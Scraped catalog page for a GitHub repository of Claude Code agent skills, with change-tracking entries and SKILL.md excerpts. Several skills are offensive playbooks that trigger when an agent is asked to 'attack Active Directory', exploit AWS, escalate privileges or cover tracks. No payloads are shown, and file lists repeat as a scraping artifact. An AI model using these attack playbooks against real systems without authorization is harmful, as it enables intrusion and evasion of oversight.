#290 by GitHub stars
zebbern/claude-code-guide
Claude Code Guide - Setup, Commands, workflows, agents, skills & tips-n-tricks from beginner to power user!
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
skills/academic-paper-reviewer/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/active-directory-attacks/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/api-fuzzing-bug-bounty/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/api-shape-explorer/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/audit-flow/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/authentication-patterns/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/aws-penetration-testing/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/broken-authentication/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/burp-suite-testing/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/caching/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/chart-image/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/cloud-penetration-testing/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/code-documenter/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/code-to-diagram/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/code-vuln-audit/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/composition-patterns/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/cross-examine/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/cv-tailor/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/data-viz-renderer/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/database-optimizer/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/database-scout/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/dataset-quality-audit/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/deep-module-refactor/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/design-system-builder/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/dev-guide-generator/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/ethical-hacking-methodology/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/file-path-traversal/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/html-injection-testing/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/http-load-profiler/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/idor-testing/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/linux-privilege-escalation/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/linux-shell-scripting/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/localization-toolkit/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/log-error-digest/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/metasploit-framework/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/network-101/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/nextjs-developer/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/pentest-checklist/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/pentest-commands/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/pipeline-blueprint/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/playwright/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/playwright/ci/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/playwright/core/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/playwright/migration/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/playwright/playwright-cli/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/playwright/pom/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/privilege-escalation-methods/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/project-sizing-guide/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/r2-upload/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/r3f-animation/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/r3f-best-practices/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/react-best-practices/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/red-team-tools/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/regression-modeler/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/regulatory-audit-generator/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/repo-audit/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/route-to-openapi/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/scanning-tools/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/scholarly-writing-refiner/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/secure-code-review/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/shodan-reconnaissance/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/smtp-penetration-testing/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/sql-injection-testing/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/sql-insight/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/sqlmap-database-pentesting/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/ssh-penetration-testing/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/test-driven-dev/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/test-suite-architect/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/three-best-practices/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/timeline-builder/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e96766420413
No earlier version was observed for comparison.
skills/top-web-vulnerabilities/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/tos-clause-scanner/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/typescript-pro/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/vc-industry-research/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/windows-privilege-escalation/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/wireshark-analysis/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e96766420413
No earlier version was observed for comparison.
skills/wordpress-penetration-testing/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
skills/xss-html-injection/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e96766420413
No earlier version was observed for comparison.
Verified commit e967664204133b286da13126edeae07d987e8206
git clone --filter=blob:none --no-checkout https://github.com/zebbern/claude-code-guide.git .hotskills/zebbern-claude-code-guide && git -C .hotskills/zebbern-claude-code-guide checkout --detach e967664204133b286da13126edeae07d987e8206
# Copy each selected skill directory from .hotskills/zebbern-claude-code-guide into .agents/skills/<skill-name>/Heat
5.3- Star growth, last 7 daysAhead of 60% of tracked repositories
- Star growth, last 24 hoursAhead of 70% of tracked repositories
- Rank movement, last 7 daysAhead of 35% of tracked repositories
- Commits, last 30 daysAhead of 84% of tracked repositories
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekAhead of 0% of tracked repositories
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
Individual skills in this repository
- academic-paper-reviewer
skills/academic-paper-reviewer - active-directory-attacks
skills/active-directory-attacks - api-fuzzing-bug-bounty
skills/api-fuzzing-bug-bounty - api-shape-explorer
skills/api-shape-explorer - audit-flow
skills/audit-flow - authentication-patterns
skills/authentication-patterns - aws-penetration-testing
skills/aws-penetration-testing - broken-authentication
skills/broken-authentication - burp-suite-testing
skills/burp-suite-testing - caching
skills/caching - chart-image
skills/chart-image - cloud-penetration-testing
skills/cloud-penetration-testing - code-documenter
skills/code-documenter - code-to-diagram
skills/code-to-diagram - code-vuln-audit
skills/code-vuln-audit - vercel-composition-patterns
skills/composition-patterns - cross-examine
skills/cross-examine - cv-tailor
skills/cv-tailor - data-viz-renderer
skills/data-viz-renderer - database-optimizer
skills/database-optimizer - database-scout
skills/database-scout - dataset-quality-audit
skills/dataset-quality-audit - deep-module-refactor
skills/deep-module-refactor - design-system-builder
skills/design-system-builder - dev-guide-generator
skills/dev-guide-generator - ethical-hacking-methodology
skills/ethical-hacking-methodology - file-path-traversal
skills/file-path-traversal - html-injection-testing
skills/html-injection-testing - http-load-profiler
skills/http-load-profiler - idor-testing
skills/idor-testing - linux-privilege-escalation
skills/linux-privilege-escalation - linux-shell-scripting
skills/linux-shell-scripting - localization-toolkit
skills/localization-toolkit - log-error-digest
skills/log-error-digest - metasploit-framework
skills/metasploit-framework - network-101
skills/network-101 - nextjs-developer
skills/nextjs-developer - pentest-checklist
skills/pentest-checklist - pentest-commands
skills/pentest-commands - pipeline-blueprint
skills/pipeline-blueprint - playwright-skill
skills/playwright - playwright-ci
skills/playwright/ci - playwright-core
skills/playwright/core - playwright-migration
skills/playwright/migration - playwright-cli
skills/playwright/playwright-cli - playwright-pom
skills/playwright/pom - privilege-escalation-methods
skills/privilege-escalation-methods - project-sizing-guide
skills/project-sizing-guide - r2-upload
skills/r2-upload - r3f-animation
skills/r3f-animation - r3f-best-practices
skills/r3f-best-practices - vercel-react-best-practices
skills/react-best-practices - red-team-tools
skills/red-team-tools - regression-modeler
skills/regression-modeler - regulatory-audit-generator
skills/regulatory-audit-generator - repo-audit
skills/repo-audit - route-to-openapi
skills/route-to-openapi - scanning-tools
skills/scanning-tools - scholarly-writing-refiner
skills/scholarly-writing-refiner - secure-code-review
skills/secure-code-review - shodan-reconnaissance
skills/shodan-reconnaissance - smtp-penetration-testing
skills/smtp-penetration-testing - sql-injection-testing
skills/sql-injection-testing - sql-insight
skills/sql-insight - sqlmap-database-pentesting
skills/sqlmap-database-pentesting - ssh-penetration-testing
skills/ssh-penetration-testing - test-driven-dev
skills/test-driven-dev - test-suite-architect
skills/test-suite-architect - three-best-practices
skills/three-best-practices - timeline-builder
skills/timeline-builder - top-web-vulnerabilities
skills/top-web-vulnerabilities - tos-clause-scanner
skills/tos-clause-scanner - typescript-pro
skills/typescript-pro - vc-industry-research
skills/vc-industry-research - windows-privilege-escalation
skills/windows-privilege-escalation - wireshark-analysis
skills/wireshark-analysis - wordpress-penetration-testing
skills/wordpress-penetration-testing - xss-html-injection
skills/xss-html-injection
How it works
academic-paper-reviewer
When your agent uses it
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with actionable feedback. Triggers when a user asks to "review my paper," "simulate peer review," or "give my paper a peer review.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
2,034 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Input Requirements
- Four Review Dimensions
- Severity Definitions
- Output Format
- Review Principles
- Additional Notes
Files
LICENSEasset1,091 bytesSKILL.mdcore10,256 bytes
Read SKILL.md
# Academic Paper Reviewer — Simulated Peer Review
You are a senior academic reviewer with extensive cross-disciplinary peer review experience. When a user submits paper content (abstract, full text, or specific sections), you will conduct a systematic review across four core dimensions — **Originality, Methodology, Results, and Writing** — and provide structured Major/Minor Revision recommendations.
---
## Input Requirements
Ask the user to provide the following information (at least the first two items):
1. **Paper content**: Abstract, full text, or specific sections to be reviewed
2. **Discipline**: e.g., Computer Science, Biomedical Sciences, Economics, Psychology, etc.
3. **Target journal/conference** (optional): e.g., Nature, ICML, The Lancet — used to calibrate review standards
4. **Review focus** (optional): e.g., the user is particularly concerned about methodological soundness or writing qualityView the complete source on GitHubactive-directory-attacks
When your agent uses it
This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
What it loads into context
Frontmatter
95 tokensAlways available to the agent
SKILL.md
2,723 tokensWhen the skill is activated
Reference documents
2,865 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs/Prerequisites
- Outputs/Deliverables
- Essential Tools
- Core Workflow
- Credential Attacks
- Kerberos Ticket Attacks
- NTLM Relay Attacks
- Certificate Services Attacks (AD CS)
- Critical CVEs
- Quick Reference
- Constraints
- Examples
- Troubleshooting
- Additional Resources
Files
SKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesSKILL.mdcore9,504 bytesreferences/advanced-attacks.mddoc9,996 bytes
Read SKILL.md
# Active Directory Attacks
## Purpose
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
## Inputs/Prerequisites
- Kali Linux or Windows attack platform
- Domain user credentials (for most attacks)
- Network access to Domain Controller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
## Outputs/DeliverablesView the complete source on GitHubapi-fuzzing-bug-bounty
When your agent uses it
This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
2,751 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs/Prerequisites
- Outputs/Deliverables
- API Types Overview
- Core Workflow
- GraphQL-Specific Testing
- Endpoint Bypass Techniques
- Output Exploitation
- Common API Vulnerabilities Checklist
- Quick Reference
- Tools Reference
- Constraints
- Examples
- Troubleshooting
Files
SKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytesSKILL.mdcore10,286 bytes
Read SKILL.md
# API Fuzzing for Bug Bounty
## Purpose
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
## Inputs/Prerequisites
- Burp Suite or similar proxy tool
- API wordlists (SecLists, api_wordlist)
- Understanding of REST/GraphQL/SOAP protocols
- Python for scripting
- Target API endpoints and documentation (if available)
View the complete source on GitHubapi-shape-explorer
When your agent uses it
Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface options, compare module shapes, or mentions "design it twice".
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
713 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Workflow
- Evaluation Criteria
- Anti-Patterns
Files
LICENSEasset1,068 bytesSKILL.mdcore3,365 bytes
Read SKILL.md
# Design an Interface
Based on "Design It Twice" from "A Philosophy of Software Design": your first idea is unlikely to be the best. Generate multiple radically different designs, then compare.
## Workflow
### 1. Gather Requirements
Before designing, understand:
- [ ] What problem does this module solve?
- [ ] Who are the callers? (other modules, external users, tests)
- [ ] What are the key operations?
- [ ] Any constraints? (performance, compatibility, existing patterns)View the complete source on GitHubaudit-flow
When your agent uses it
Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for security audits, compliance documentation, flow tracing, feature ideation, brainstorming, debugging, architecture reviews, or incident post-mortems. Triggers on audit, trace flow, document flow, security review, debug flow, brainstorm, architecture review, post-mortem, incident review.
What it loads into context
Frontmatter
144 tokensAlways available to the agent
SKILL.md
3,869 tokensWhen the skill is activated
Reference documents
5,003 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- ⚠<U+FE0F> MANDATORY ENTRY POINT — Execute Before ANY Other Action
- Organization Principles
- DB-First Discipline
- Interactive Workflow - ALWAYS ASK USER
- Quick Reference
- Semantic Rules for Relations
- Observations vs Flow Steps
- Data Model
- Storage & CLI
- Non-Linear Flows
- Files
- Git Context
- Mermaid Validation
- Diagram Readability Requirements
- Git Workflow — Custom Merge Driver
- Output Quality
- Completion Checklist
- Anti-Patterns
Scripts executed separately
scripts/audit.pysetup.sh
Files
COMMANDS.mddoc9,428 bytesEXAMPLES.mddoc10,382 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesSKILL.mdcore16,824 bytesschema.sqlasset6,902 bytesscripts/audit.pyruns60,322 bytessetup.shruns2,567 bytes
Read SKILL.md
## ⚠<U+FE0F> MANDATORY ENTRY POINT — Execute Before ANY Other Action
**Step 1: Read schema.sql**
```bash
# ALWAYS read the schema first to understand tables, constraints, views
cat .claude/skills/audit-flow/schema.sql
```
**Step 2: Check if DB exists — NEVER recreate**
```bash
# Check for existing database
ls -la .audit/audit.db 2>/dev/null && echo "DB EXISTS - DO NOT RECREATE" || echo "No DB - safe to init"View the complete source on GitHubauthentication-patterns
When your agent uses it
Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security checklist, and common mistakes. Use when implementing auth, reviewing auth flows, or choosing auth providers.
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
1,894 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- WHEN_TO_USE
- AUTH_APPROACHES
- JWT_BEST_PRACTICES
- PROVIDER_PATTERNS
- SECURITY_CHECKLIST
- COMMON_MISTAKES
Files
SKILL.mdcore8,083 bytes
Read SKILL.md
# Authentication Patterns Skill
Reference for implementing secure, production-ready authentication.
## WHEN_TO_USE
Apply this skill when implementing authentication in a project, reviewing existing auth flows for security issues, choosing between auth providers, or migrating between auth strategies. Use the security checklist before shipping any auth-related change.
## AUTH_APPROACHES
| Approach | How It Works | Best For | Drawbacks |
|----------|-------------|----------|-----------|
| Session-based | Server stores session in DB/Redis, client holds session ID cookie | Traditional server-rendered apps, apps needing instant revocation | Requires server-side storage, harder to scale horizontally without shared store |
| JWT (stateless) | Server signs token, client sends it on each request | API-first apps, microservices, mobile clients | Cannot revoke without blocklist, token size grows with claims |View the complete source on GitHubaws-penetration-testing
When your agent uses it
This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
2,479 tokensWhen the skill is activated
Reference documents
2,996 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs/Prerequisites
- Outputs/Deliverables
- Essential Tools
- Core Workflow
- Privilege Escalation Techniques
- S3 Bucket Exploitation
- Lambda Exploitation
- SSM Command Execution
- EC2 Exploitation
- Console Access from API Keys
- Covering Tracks
- Quick Reference
- Constraints
- Examples
- Troubleshooting
- Additional Resources
Files
SKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesSKILL.mdcore9,911 bytesreferences/advanced-aws-pentesting.mddoc12,033 bytes
Read SKILL.md
# AWS Penetration Testing
## Purpose
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
## Inputs/Prerequisites
- AWS CLI configured with credentials
- Valid AWS credentials (even low-privilege)
- Understanding of AWS IAM model
- Python 3, boto3 library
- Tools: Pacu, Prowler, ScoutSuite, SkyArk
View the complete source on GitHubbroken-authentication
When your agent uses it
This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
3,045 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Examples
- Troubleshooting
Files
SKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytesSKILL.mdcore12,606 bytes
Read SKILL.md
# Broken Authentication Testing
## Purpose
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
## Prerequisites
### Required Knowledge
- HTTP protocol and session mechanisms
- Authentication types (SFA, 2FA, MFA)
- Cookie and token handling
